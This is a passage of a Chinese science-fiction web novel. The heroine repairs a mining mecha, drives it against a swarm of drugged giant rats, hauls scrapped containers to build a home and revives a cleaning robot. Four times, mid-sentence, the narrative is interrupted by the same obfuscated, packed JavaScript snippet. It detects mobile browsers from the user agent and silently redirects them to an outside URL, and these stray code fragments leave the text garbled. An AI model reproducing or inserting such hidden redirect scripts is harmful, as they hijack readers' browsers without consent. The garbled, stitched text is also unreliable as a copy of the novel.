副食店侧边有一个安装了水龙头的洗手池,水池背后高大的柜体上,用中文写着八个大字——免费饮用,节约用水。 没错,是中文,不需要语言自译芯片的翻译。那么地出人意料,又那么合情合理。 有人过来接水,又有人转身离去。洛九天站在原地,很难形容这种感觉,只感觉脑子里的血一下子往上涌。她决定把自己的房子搭在这附近! 如果没有猜错,水池背后的柜体,应该是一台大型净水过滤器。这个副食店的老板,掌握了居民区的饮用水资源,并且免费提供,周围应该相对安全。 洛九天进店买了一包压缩饼干,付了款,拆开吃了一块,将剩下的小半瓶纯净水一口喝完,又在前面的水龙头把水接满,这才转身离开。 不过她没有什么可以用来搭建房屋的材料,左思右想,洛九天决定把那台双开门大冰箱搬过来。 谁知她走回原地的时候,却发现冰箱被拆得七零八落,只剩下一堆零件,稀碎。 洛九天仰天欲哭无泪,是谁!究竟是哪个王八蛋!把她家给拆了! 一阵风吹过,卷起尘土吹得满地塑料垃圾哗啦啦作响。 端着一个尚且完好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880954|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冰箱抽屉,洛九天屏住呼吸转身离开,寻找下一个能住人的地方。 被淘过不知道多少遍的垃圾场,很难找到完整的板材,洛九天在垃圾场里忙活了大半天,翻了五座垃圾山,才从里面拖出来几块可以焊接的钢板。 这些钢板形状不规则且生了锈,但不要紧,花点时间可以打磨掉。只是她没有焊接枪,得想办法从其他拾荒者手里借。 钢板没人守着,洛九天并不是很放心,生怕一个转身,再次被偷家,于是就地取材,找来四个大小差不多的轮子拼凑,固定底板,再把钢板都绑上去,用绳子拖着走。 轮子并不是很灵活,拖着一堆钢板十分费劲,洛九天几乎使出了全部力气。等她气喘吁吁停在一栋活动板房前时,整个人都摊在了地上。 她擦了擦汗,扭头打量这栋房子,一时间怔在了原地。 在活动板房的侧边,以坐姿摆放着一台老式机甲。 在300年前,由机甲师罗向琼研发设计的一代机甲,有着辉煌的成绩。蓝星守卫部为了防御星兽潮,采用其设计,大量制造机甲,其战斗型号定名为SEA。 后来,防御战胜利,蓝星不断向外探索移民。需要在驾驶舱手动摇杆操作的一代机甲,逐渐在军用作战中落伍,当苍旻基地研发的二代机甲出世,一代机甲也随之由军转民。 一代机甲技术相对简单,机体耐用,保养容易,在民用方面备受欢迎,即使到了现在,一代机甲依然是民用主力军。 洛九天没想到会在这里看到一台机甲。 这台机甲目测有6米高,成色很旧,表面有很多凹凸不平的痕迹,即使已经修补填平,又喷了漆,依然无法掩盖。 它的左手改装了硬质合金钻头,可以击碎地底岩石,肩膀上加装了挂钩绳索,头部有采集探头,里面应该有一部内置的电磁探矿仪。 这是一台探矿机甲。 “喂,你看什么呢?” 洛九天目光炯炯地看着机甲,没注意到机甲后面有人。她吓了一跳,连忙朝机甲侧后方看去。 一个四五十岁的精瘦男人,穿着一件橘皮色的背心,正有一下没一下地拧着螺丝。 他打量了一下洛九天,目光扫过她拖着的钢板:“小丫头,我这里不收废品。” “我不是来卖废品的。”洛九天指着地上的电焊枪:“大叔,能不能借用一下?我焊个房子。” “焊个房子?哈哈哈哈。”男人笑得前仰后合:“就你?” “嗯。”洛九天点头。 “不行,我还要用呢。今天要是修不好机甲,我会挨骂的。”男人收了笑,加快了拧螺丝的动作。 洛九天踮着脚尖,朝机甲关节处看了一眼:“你要是愿意借我电焊枪,我可以帮你修。” “你要是会修机甲,那我肯定能当卡培星城的城主哈哈哈哈哈哈。”男人挥挥手:“小丫头一边去玩儿啊。” 洛九天站着没动,看着他修理,顺便递过去一把他接下来要用到的工具。 男人讶异地看了洛九天一眼:“你真会修?” 8. 开路 探矿机甲似乎是从高处跌落,背甲受损比较严重,里面的轴承也有几处断裂,尽管如此,核心引擎保护得相当完好,应该是驾驶机甲的人在摔下去时,刻意保护的结果。 一代机甲最可爱的地方,就是哪里坏了换哪里,对维修设备的要求低,技术含量也不太高,洛九天对这个很熟。 她当即接过工具,三两下爬上A字梯,开始拆卸剩下的背甲和轴承。 大叔忽然发现自己站在一旁,几乎发挥不了什么作用。他摸了摸后脑勺,笑嘻嘻地说:“新来的?” “嗯,昨天来的,大叔,把那个递给我一下。”洛九天指着地上的轴承。 “你可以叫我麦西,你叫什么?”麦西将自己淘来的二手轴承递了上去。 “我叫洛九天,麦西大叔。”洛九天一说完,暗自咬了下舌尖,有些后悔。黑衣人多半知道她的名字,说不定会跑来垃圾星找她。知道她名字的人越多,她越容易暴露行踪。 麦西坐在小板凳上,仰头看着她:“会修机甲的人不多,你怎么跑来这种地方?” 洛九天手一顿,笑了笑反问:“那你怎么跑来这种地方?” 麦西两手一摊:“没钱呀,星城居住资格要500万星币,我为什么想不开,要把500万星币拱手送人,哪里不是住。” 洛九天深以为然:“我也是这么想的。” 不过,能买得起探矿机甲的人,凑出500万星币应该不难,但那是别人的事,她没打算探究到底。 修机甲是个耗费时间的细致活,洛九天干得津津有味,十分入迷。等她修理得差不多,回过神来的时候,底下坐着的麦西正懒散地抖着腿。 “麦西大叔,我修好了,我可以用一下电焊枪吗?”洛九天从A字梯上下来。 麦西连忙站起来,像模像样地检查了一遍机甲,见探矿机甲果然修理完毕,连背甲都敲得平平整整,顿时笑眯了眼,他打了个呵欠:“你用吧,随便用,我出去一趟,如果你看见我老婆莫莉回来,就说我去看望尤里了啊。” “好的。”洛九天点头应下,活动了一下手腕,提着电焊枪,戴着防护面具,走过去焊接钢板。 火花在她面前跳跃,洛九天焊得正起劲,忽然有个声音从背后响起:“你是什么人?谁让你用我家电焊枪的,给钱了吗?” 洛九天抬头,就看到一个穿着复古大花裙子的女人,猜测对方多半就是麦西的妻子莫莉。她看上去比麦西稍显年轻,波浪一样的棕色头发,用一个紫色的大肠发圈,扎在侧边。 “问你呢,付钱了吗?租用我家的工具,费用按2000星币一天算啊,电焊枪还需要用电,电费不便宜,算你一小时200星币吧。”莫莉扶着腰,一瘸一拐地走过来,说话却像拎着机关枪一样,很有气势。 “我帮麦西大叔修好了机甲,他同意借给我使用一会儿,我就用一会儿……”洛九天缩了缩脖子,她一向不太会讨价还价。 莫莉眉眼一横:“他人呢?死哪里去了?” “说是去看望尤里了。”洛九天拿着电焊枪,老实巴巴地交代。 “昨天不是才去看望过尤里吗?这个死鬼,肯定又不知道跑哪里蹭酒喝去了。”莫莉喋喋不休地走到探矿机甲旁,往上看了一眼,停止了骂人。 “这是你修的?” 洛九天点头。 莫莉皱了皱眉:“谁让你把背甲装回去的,我还没有更换引擎连接口,你这样子我还得再拆一遍……” 洛九天:“已经更换过了。” “嗯?”莫莉微微睁大了眼睛:“你怎么知道?” “我检查过了,引擎的连接口老化接触不良,导致机甲在探矿作业时突然熄火,机甲从半空落下,背部着地,所以背甲才会受损严重。”洛九天思索着说出自己的推测。 莫莉张了张嘴,又问:“然后呢?” “驾驶机甲的人技术很好,在机甲熄火后依然调整面向,将机甲的损坏率降到了最低。如果是机甲腿部或者腹部着地,动力系统和引擎不会像现在这样完好无损。” 洛九天说完,就看见莫莉抿着嘴笑了一下,但她很快又板着一张脸:“你猜得不错,既然你修好了机甲,那电焊枪就借给你用一天,就一天啊,明天再借,还得算钱。” 洛九天捕捉到了她语气的变化,暗暗松了一口气。 正准备提起电焊枪继续干活,忽然远处传来一阵轰隆巨响。 只见一艘喷涂着白漆的运输飞船停在半空中,后舱门大打开,铁罐一个接一个滚出来,砸落在垃圾堆上,扬起一片尘土。 垃圾堆上的拾荒者像蚂蚁一样抱头乱窜,生怕被铁罐砸成肉泥。 有些罐子在剧烈的碰撞下被摔裂,里面的液体四处飞溅,一股焦油味远远地飘了过来。 莫莉忽然变了脸色,咬牙切齿地骂了一句:“这些杂种!” 洛九天不明所以地看着她,正要问发生了什么,就感觉地面微微地震颤起来,好像有什么东西,朝着这个方向奔跑了过来。 转眼间,数不清的巨蒙鼠,从各个地方涌出,犹如小溪汇聚成灰色的大河,朝着铁罐的方向飞奔而去。 还没有离开垃圾堆的拾荒者,茫然地看着巨蒙鼠群,不知道往哪个方向跑,不时发出尖叫。 “还不快躲起来,这是生物公司提炼过药物的焦油,巨蒙鼠吃过以后,会出现暂时性神经错乱,四处攻击人,你要是不想死,就赶紧跑!”不知何时,莫莉已经穿上了驾驶服。 “那你呢?”洛九天问。 莫莉坐在了那台刚修好的探矿机甲上,她应了一声:“我去给他们开路!” 说完,涂着黄色涂层的探矿机甲,从地上站了起来,健步如飞地朝着巨蒙鼠群跑去。 大地在震动,垃圾在跳舞。 洛九天看着探矿机甲的背影,喉咙哽了一下。莫莉应该才受伤不久,她的腿走路还一瘸一拐,但操控着机甲时,却像个冲锋的将帅。 电钻就是她的枪。 探矿机甲的左手臂抬了起来,合金电钻开启,朝着被围困的人群,不停往前突进。 电钻所过之处,巨蒙鼠血肉横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880955|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞,吓得它们纷纷往两边闪避,远离这个比它们更高大的机甲怪兽。 莫莉开辟出一条道路。 巨蒙鼠被焦油的味道吸引,顾不上逃窜的人类,莫莉带着那些拾荒者,从巨蒙鼠群里逃脱出来。 机甲被染上了血污,腿甲缝隙里卡着巨蒙鼠的肠子和内脏,跟在后面的人虽然受了伤,但一想到死里逃生,纷纷都激动地欢呼起来。 “吼个屁,还不快跑,等死呢。”莫莉从驾驶舱跳下来,一瘸一拐地往仓库走去。 已经跑出几十米远的洛九天,又退了回来。 “你回来做什么,还不快跑。”莫莉不耐烦地呵斥。 “那台机甲是我修的,我很清楚,里面的能量晶卡电量几乎没有剩余,你刚才冲进去救人,电已经用完了吧,你要找备用能量晶卡是不是?”洛九天快速地说。 莫莉一怔:“在仓库货架最上层的箱子里。” 洛九天点了点头,朝着仓库跑了过去。 她没跑几步,就听见身后传来一声闷哼。 莫莉被一只巨蒙鼠扑倒在地,巨蒙鼠咬住了她的胳膊! 几个拾荒者也冲了回来,纷纷拿着枪朝这只巨蒙鼠射击,可惜都没有射中致命部位,吃过焦油的巨蒙鼠双眼发红,狂躁地怪叫着。 越来越多的巨蒙鼠抬起了头,朝着这边过来。 洛九天等不及去仓库找备用能量晶卡,从自己的背包里摸出那张印着圣朗基努斯校徽的晶卡,跳上了探矿机甲,将晶卡插进了能量槽。 机甲的探照灯“啪”地亮起。 洛九天左手一连开启数个按键,右手操控着摇杆,抬起电钻手臂,心领神会间,电钻手臂往前一推,钻进了巨蒙鼠的身体。 血肉像雨一样砸落下来,莫莉被几个拾荒者拖到了后面的屋子里。 洛九天驾驶着探矿机甲,挡住了活动板房的大门,将发狂的巨蒙鼠一一挡在外面。 巨蒙鼠疯了一样往机甲上窜,有的甚至爬到了机甲的驾驶舱外,用门牙把舱门啃得咔咔作响。她只得操控机甲用手把不断涌上来的巨蒙鼠赶下去。 这张晶卡并不适用于机甲,电量消耗太快,晶卡的能量指数急剧下降,洛九天也不知道还能坚持多久。 她有点想哭,又有点想笑。 妈妈!她好像马上就要死掉了,但是她在开机甲哎! 洛九天脑子里快速闪过无数个念头,就在晶卡能量即将消耗完之前,她甚至有点后悔,是不是应该暗戳戳开着机甲跑路啊…… 她是不是傻…… 为什么要挡在门口啊啊啊啊啊—— 就在这时,天光被遮住。 洛九天通过机甲的全方位镜看过去,只见半空中停着一艘红色的垃圾运输飞船。 是尤珈那艘破破烂烂,漆都脱了一大半的垃圾运输飞船。 忽然之间,就下起了小雨。 狂暴的巨蒙鼠竟然渐渐安静下来,一个个在日光下朝着阴暗的角落逃窜。 洛九天愣了一瞬,才明白是飞船在喷洒着某种驱鼠药水。 9. 先机 半晌过后,巨蒙鼠消失得无影无踪,留下了一地狼藉。 洛九天从探矿机甲的驾驶舱出来,闻到了浓重恶臭的血腥味,但除此之外,还有一种清凉好闻的味道。 是尤珈喷洒的药水的味道。 洛九天决定,从今天起,薄荷味就是她最爱的味道! 身后活动板房的门打开,大家一起走了出来。薄荷雨又下了一会儿,天上的垃圾运输飞船便离开了这片区域。 洛九天对巨蒙鼠心有余悸,打算接受瓦莱里雅的交易,去卡培星城注射疫苗。 只可惜刚修好的机甲,就沾染上了这么多血污碎肉,就跟在碎肉机里搅拌过似得。说来也奇怪,这机甲明明不是她的,但她有点心疼。 哎…… 麦西从不远处冲了过来:“老婆,你怎么样了老婆,我老远就看到咱家的探矿机甲了,老婆真是英明神武,啊,你怎么受伤了?” 莫莉左手臂被巨蒙鼠咬伤,但不妨碍她的右手给了麦西一巴掌。 “啪”地一声,清脆响亮,打得麦西转了半个圈。 “你死哪里去了,能量晶卡没电了你不知道提前充啊?差点害死老娘。”莫莉气得牵动了伤口,眉头紧皱起来。 “是你说维修的时候要保持低电量状态,说这样可以省电的,我早就说过这样不会省电的……”麦西连忙找出医药箱,给莫莉消毒包扎:“老婆你不要生气,不知道你三年前打的巨蒙鼠疫苗还有没有效果,明天我们再去星城补一针疫苗吧……” “疫苗的衰败期不是有十年吗?浪费那个钱做什么,咱家钱很多吗?”莫莉用手抓了抓散乱的头发,她瞥了一眼洛九天:“你怎么还杵在这里?” 洛九天挠了挠耳朵,不好意思地开口:“那个,我的能量晶卡刚才在机甲上用没电了,我可不可以在你家充一下电啊?” “让她充一下吧老婆,她刚刚也算救了你一命。”麦西将莫莉落在肩膀上的头发拢起来,编了个松散的麻花辫,绑上皮筋。 莫莉看了洛九天一眼:“就半个小时。” 半个小时后—— “不是,你这什么晶卡啊,半个小时才充了25%?”莫莉右手叉腰,感觉自己亏大发了。 洛九天有点心虚,不知道怎么解释晶卡的来历,拇指和食指合在一起,又微微放开,比给她看:“就……纯度稍微有那么一点点高的晶卡。” 而且你这个充电设备,充得有点慢……洛九天在心里接了一句。 莫莉挑眉:“这么能耐你在垃圾星混什么?” “我也不想啊,但是我解冻醒来,没有地方可以去,又没有卡培星城的居住资格,在星城逗留会被抓进流民看守所的。”洛九天眨巴眨巴眼睛,慢慢解释。 莫莉:“你的家人呢?” “暂时还不知道在哪里,不过我会找到她的。”洛九天抿了抿唇。 “你不要用这种眼神看我啊,我是不会收留你的,我家很穷,还有外债。”莫莉撇头看了一眼晶卡,见电量还在攀升,忙不迭说:“你不会在拖延时间想多充一会儿电吧,你这个一会儿死心眼一会儿鬼精鬼精的丫头!” 她话是这么说,却并没有将晶卡拔掉。 “吃饭了,吃饭了。”麦西端着一大锅鸡蛋面上桌:“九天你也过来吃两口,你应该一天都没吃饭吧。” “一天都没吃饭还能开机甲,不知道哪里来的劲。”莫莉端起碗,放在旁边的座位上:“过来吃吧,吃完你就不能再充电,立即拔了走人啊。” 洛九天的肚子咕噜噜响了起来,一阵抽搐。230年了,她没吃过一点热食,实在是拒绝不了,麻溜爬了起来,坐在了桌边。 “谢谢莫莉阿姨,谢谢麦西大叔。” 吃过饭后,麦西先一步出了房门,去擦洗机甲顺便打扫屋外空地的卫生。 洛九天跟在后面出了门,见满地都是巨蒙鼠的残肢碎肉,一时间胃酸上涌,干呕了一声,差点将刚吃下去的面给吐出来。 “大叔,我来帮你收拾。”洛九天拿起抹布,去擦机甲表面的血污,说起来,这些血污也有她的手笔。 麦西抬头看了一眼将黑的天色:“你的焊接房子呢?” “还没焊完,就被巨蒙鼠冲塌了……”洛九天有点无语,看来她今晚又要找个犄角旮旯的地方睡了。 麦西捂着嘴,凑近洛九天的耳朵,小声说:“仓库门我不关,你可以睡仓库,早上早点走,不会被莫莉发现的。” “什么不会被我发现啊?”莫莉用右手提拎起麦西的耳朵。 麦西:“哎呀,老婆,你就收留她住一晚吧,这巨蒙鼠刚嗑了药,九天要是碰见凶多吉少。” “这个也收留,那个也收留,我们哪有那么多钱做好人好事,难道你打算和夏因一样,在垃圾星开孤儿所吗?”莫莉剐了麦西一眼,看向洛九天:“即使我不会收留你,你还是要在这里擦机甲吗?” 洛九天点头。 莫莉的嘴唇动了动,半晌留下一句:“昨晚卡培星城中转环发生了一起爆炸,有一排集装箱被砸烂,今晚12点,会从垃圾运输飞船上扔下来,在3点钟方向。” 洛九天一怔,眼睛亮了起来。 麦西连忙解释:“我老婆的意思是说,让你去搞一个集装箱回来住!九天你有第一手的消息,抢占了先机,冲在其他拾荒者前头,肯定能搞到一个,我看好你啊。” 他说完又冲莫莉喊:“哎可是,老婆,九天一个人要怎么把集装箱搞回来啊!” “她都会开机甲了,你还担心她搞不回来?”莫莉说完,“嘭”地一声关上了房门。 洛九天豁然抬头。 她喉咙有些发干,她好像也有点理解莫莉的弦外之音了:“那个、麦西大叔,莫莉阿姨的意思是不是说,让我开着机甲去抢集装箱啊?” 麦西朝她挤了挤眼睛:“咳咳,那这个机甲的擦洗啊,还有院子的清理啊……” “放心吧,麦西大叔,我肯定把机甲擦干净再开出去,又原原本本开回来。”洛九天保证,手上的活干得更麻利了些。 “还有院子……” “好的,还有院子。”洛九天点头。 麦西笑眯眯地哼着歌,背着手离开了。 晚上十一点。 大部分垃圾场内里已经站满了人,正热火朝天地拾荒。3点钟方向的垃圾场外围,也有七八个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880956|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人等在那里。 显然他们也是得到了消息,准备搞一票大的。 那几个人分了两队站着,一队身前放着一台切割机,显然是打算把集装箱切割了再运走。而另外一波人则开来了一辆卡车,像是要直接把集装箱拖走。 他们互相把对方看做竞争对手,气氛有点凝滞,和其他垃圾场相比,这里简直太安静了。 洛九天驾驶着探矿机甲,从后面走出来时,两波人都愣在了原地,其中一个手里的烟掉在地上。 “我去,老大,居然有人开机甲来抢集装箱。”下面有人大喊一声。 “闭嘴,你不喊我也能看见。”另外一个人骂道。 过去15年都低调内敛·不爱出风头·洛九天,忍不住汗颜了。不好意思了各位,我就抢这一回……吧? 等待的时间分外焦灼,洛九天感觉过了很久,才熬到12点整。 垃圾运输飞船如期而至,盘桓在垃圾场的上空。洛九天定睛看了一眼,似乎不是尤珈那一艘。 飞船缓缓下降,最后倾斜机身,像鱼吐泡泡一样,将一连串的集装箱吐了出来。 集装箱下饺子似地,滑落到垃圾堆上,将垃圾山的尖都砸没了。 顾不上飞扬的尘土,洛九天驾驶着探矿机甲,率先冲了进去。 这一排报废的集装箱,一共有5个,最先到达的洛九天,选了一个成色最好,破损最不严重的,操控机甲在箱棱上挂上挂钩,拖着往外走。 把集装箱拖到没人的地方,她取下挂钩,又走了回去。这会儿已经有人注意到了这边的动静,纷纷往这边过来,留给她的选择不多。洛九天果断地选了个最近的,再一次拖着往外走。 “……”旁边正在切割集装箱的大哥无语凝噎。 “大哥,她作弊!”有人不满地抱怨。 “做个锤子弊,你有本事也给老子整个机甲来开。” 洛九天停了下来,通过机甲的喇叭喊话:“要不要我帮你们拖啊,拖一趟500星币,我少赚点,你们多赚点,等下就来人了。” “……” 洛九天收获了一堆白眼后,拖着两个集装箱扬长而去。 经过慎重考虑,洛九天把两个集装箱拖到了莫莉家后面附近,这里离东升副食店不远,取水方便。 她在两个集装箱上分别打了一个洞,洞口位置贴合在一起,将集装箱上下叠放起来,方便她从一层的集装箱内部爬到二楼。 洛九天启动电钻,就着二楼集装箱侧面被爆炸击穿的破洞,直接扩出一个圆形,改天找块玻璃装上,就是完美的窗户。 接着,她操控机甲,拿出三条2米长的钢筋,贴着集装箱的外墙,将钢筋锤进地下,只有下1米高的桩子,又将钢筋桩子掰弯,像订书针一样扣住集装箱的外棱。 这样集装箱被钢筋桩子牢牢卡住,她就不用担心自己出门在外时,集装箱被人轻易地拖走。 做完这些,洛九天归还了机甲,又把机甲擦洗了一遍,满怀激动地朝自己的新房子跑去。 没跑几步,洛九天被一个白色的物品拦在了半路。 她走近一看,发现是一个歪倒在地的清洁机器人。 10. 杀手 清洁机器人由两个椭圆上下连接组成,像洛九天小时候在蓝星堆过的雪人。 那时候,蓝星对于已经外星移民的人类而言,仍然是家乡故土,是坐标原点,因为离得并不是很远,许多人会在冬天回蓝星度假。 然而现在,洛九天抬头望向夜空,已经无法找到蓝星的踪迹,她所在的星球,离那个坐标原点已经太远了。 眼前的“雪人”也有两只小手,手臂可以拉伸,此时正无力地耷拉在地上。 除了表面有些剐蹭,脑袋上的面板一片漆黑,其他没有什么破损,洛九天拎起清洁机器人一只手,将它拖回了自己的新家。 一回到集装箱,洛九天就瘫坐在地上。 这一天发生了太多事,她累得够呛,但脑子里就像有一台不停运转的机器,将她的神经反复碾压。 洛九天把旁边的清洁机器人拎了过来,摸索着上面的按钮。 下面较大的椭圆可以弹出仓门,里面有垃圾仓、工具仓和自洁组块,上面的雪人脑袋,应该是机器人的中控系统。不过也不知道是部件损坏还是系统崩溃的原因,开机没有反应。 她掏出能量晶卡,给清洁机器人充上电,打算等明天天亮了光线好,再做拆机检查。 接着,洛九天打开了充满电的平板电脑。 过了一会儿,屏幕缓缓亮起,没想好时隔230年,这台电脑依然能够开机,只不过反应慢了些。 230年前的桌面图标,像一个个尘封已久的徽章,她没顾得上一一戳开看,率先打开了一个名叫“1111”的文件夹。 文件夹里豁然展露出一长排设计图纸,按数字排序,一共有23组。这是洛九天上学的时候,自己设计的一代机甲,经过了23次改版后,才最终确定下来,只是一直没有机会动手完成。 黑暗中,洛九天就着屏幕上的光,又修改了几个细节,忽然间她想起来一件事。 或者说,从她醒来以后,就一直有一个疑问。现在的机甲进化到什么地步了,还在用苍旻基地研发的二代机甲吗? 洛九天启动休眠手环那个难用的查询功能,搜索关键词“苍旻基地”。 很快,手环小小的屏幕上,弹出来一行红字:未检索到“苍旻基地”相关内容,是否更换搜索词? 洛九天愣了一下,也许是因为苍旻基地一直比较保密的原因,毕竟二代机甲研发成功过后,为了支援守卫战,舒泥辙总工决定直接和蓝星守卫部对接生产,名义上的发行方,一直是蓝星守卫部。 她想了想,再次搜索关键词“新款机甲”。 弹出来的页面上展示着数款机甲的小图,不用点开放大,洛九天也能看出来这些机甲线条流畅,色彩亮丽,款式新颖,当然,也一定造价不菲。 而所有机甲的下方,都有署名归属权——图里。 她再次打开词条:图里。 图里,是图西崖星的一家跨星集团。由席恩·图里创立,公司最初从事光脑设计研发业务,后发展了虚拟明星、各类机器人产品……星际历1129年1月,图里推出全新机甲,命名为XION……XION弥补了二代机甲的不足,开始在战争中广泛使用,被称为三代机甲。 词条的下面,还有许多关于图里公司的发家史,以及图里家族的人脉网和要员表,自从三代机甲推出后,图里集团凭借机甲专利大发战争财,图里家族的人开始进入军政两界,随着这些年来的积累,成为了只手遮天的存在。 等等—— 洛九天将词条划回到最前面。 星际历1129年1月,也就是苍旻基地爆炸半年后,怎么会这么近?可是她看了三代机甲的技术亮点,和苍旻基地的行迹感应系统2.0完全是不同的技术方向,不存在说图里集团剽窃苍旻基地研发技术的情况,难道这只是巧合吗? 洛九天扶住疼到爆炸的额头,决定暂时不要继续想下去。什么XION三代机甲,什么图里集团,对她来说都太遥远了。 现在最重要的事情是活下去,然后攒够搭乘长途飞船的钱,回苍旻基地旧址,寻找母亲的下落。 洛九天就地仰躺下去,用背包当枕头,支在后脑勺下面,闭上了眼睛。 模模糊糊间,她走回到诺斯休眠公司大楼,搭乘电梯进入了地下室。地下室明亮而开阔,玻璃门上倒影出一张女人的脸,陌生而模糊。四面八方的屏幕上,不断闪烁着跳动的数据符号,最下面时间显示:1350/6/11。 隔了一会,旁边有个房间门打开,里面走出来一个穿着白大褂的男人。那个人递给她一个小小的透明盒子,里面是一张芯片。 一双手抬起来,将芯片接过,并且有个女人的声音响起,她颤抖着下达了指示:“等博士确认过脑数据库后,目标立即清除。” 男人点头称是。 画面不停切换,她有时在实验室里,有时又似乎在某个人家里,忙碌而焦躁,直到她重新回到了诺斯休眠公司,躺进了休眠舱,一切重新归于黑暗—— 洛九天豁然睁开眼睛,大口大口喘气。 她好像做了一个诡异的梦,但她肯定,这不是一个梦。 这是属于别人的记忆,那种要被溺死在回忆中的感觉,太真实了,太窒息了。1350年6月11日,这一天对于梦中那个女人而言,一定很重要,所以这段记忆如此清晰。 闷热的集装箱里,手臂上起了一层鸡皮疙瘩,她下意识摸了摸耳后的缝合口,忍住想要把芯片抠出来的冲动。 那个黑衣人为这张芯片而来,里面一定有什么隐密,但这件事跟她有什么关系?黑衣人没有得到芯片,会就此罢手吗? 洛九天从地上坐起来,背抵着集装箱壁,睡意全无。 心里再忐忑不安也没用,不如给自己找点事情做。点开名为“23”的图纸组集,心里估算了一下制造成本,洛九天决定在这颗堆满垃圾的六等星,将这台机甲由图纸变成现实。 她一向不是个很擅长做计划的人,走一步算一步,面对未知的敌人,她打算先将自己武装起来。 三代机甲被投入战争后,二代机甲并没有被淘汰,依然有军队使用,因此民间通用的仍然只有一代机甲。只要不和军队、星盗等非法组织杠上,不和更新迭代的机甲对战,面对一般的武器,一代机甲仍然有一战之力。 至于二代机甲,洛晓河当年在她面前严格保密,没有透露一点核心技术,不过只要她搞来一台,研究研究,一定可以摸清楚根底。 不知过了多久,天逐渐变亮,光通过集装箱上的圆洞照进来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880957|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛九天将清洁机器人拖到窗边,开始动手拆卸。 将所有部件都拆下来,又重新装回去,洛九天有点无语。 这台清洁机器人,居然是因为数据忽然过载,把信息处理器烧坏了!还好,只需要换个处理器,清洁机器人就可以继续使用。 一上午,洛九天都在垃圾堆里捡垃圾,打算找一个能用的处理器给清洁机器人换上。 埋头苦找了半天,拆了七八个差不多类型的机器人脑壳,她才勉强淘到一个能用的,她把里面的处理器拆出来,换在了清洁机器人头上。 开机,启动。 清洁机器人面板亮起,屏幕上显示着“数据加载中”—— 过了一个小时,洛九天连集装箱窗户都焊好了,数据还没加载完成。 她伸手在清洁机器人脑袋上拍了一下,这到底行不行啊? 一巴掌下去,面板提示:数据加载异常,将在后台继续加载,系统已重置,需重新制定清洁计划,功能可以正常使用。 随后,面板上的文字变成了一个像素风的呆滞表情。 0.0 洛九天一愣,该不会把它拍傻了吧? 她伸手在清洁机器人面前晃了晃,进行功能测试:“能看见我吗?” 机器人微微偏转了头,可爱的正太机械音传来:“……能。” 洛九天:“试试扫描集装箱里面呢?” 机器人走到集装箱门口,开启红眼扫描:“……检测到大量病菌。” 洛九天皱眉,是不是处理器不太行,怎么感觉机器人的反应有点慢呢,不应该啊,一个清洁机器人而已,不需要处理太多信息,这块处理器应该完全够用。 她抓了抓下巴,算了,也不指望一个清洁机器人能派上多大用场。 “我家地方小,你每天扫个地花不了多久,其他时候就休眠不要浪费电知道吗?”洛九天像逗狗一样牵起机器人的手:“你有名字吗?” 机器人似乎在思索,没有回答。 “小白?旺财?雪人、雪雪?看你很卡的样子,不如叫卡卡吧。” 机器人的表情变换成:?_? 似乎不是很情愿的样子。 算了,随便吧。 取名字太难了。 洛九天:“喂,你是我从垃圾堆捡到修好的,可不能跟其他人跑了,其他人可修不了你。” 清洁机器人没有回答,转头进了集装箱,开始忙碌地除尘杀菌。 洛九天跟在它后面观察,见面板角落显示细菌数量的进度条上,细菌总数在不停下降,她满意地开口:“我看你挺会杀菌的,叫你杀手好了。” 杀手机器人继续清洁工作,洛九天关上集装箱大门,往东升副食店那边走去。她现在只有一个矿泉水瓶,一个保温杯,得补充一些饮用水,啃完压缩饼干,下午才有力气干活。尽管黑衣人可能会再来找他,但她总不能为了躲避黑衣人,什么事都不做,哪里都不去,那样可能黑衣人没把她杀死,她就已经饿死了。 按照约定,明天她要去一趟卡培星城,在此之前,她打算拣点垃圾去卖,攒够来回的飞船搭乘费用,除此之外,如果她顺利活下去,还得购置一些生活必需品。 如果没记错的话,她应该快来月经了。 11. 生长 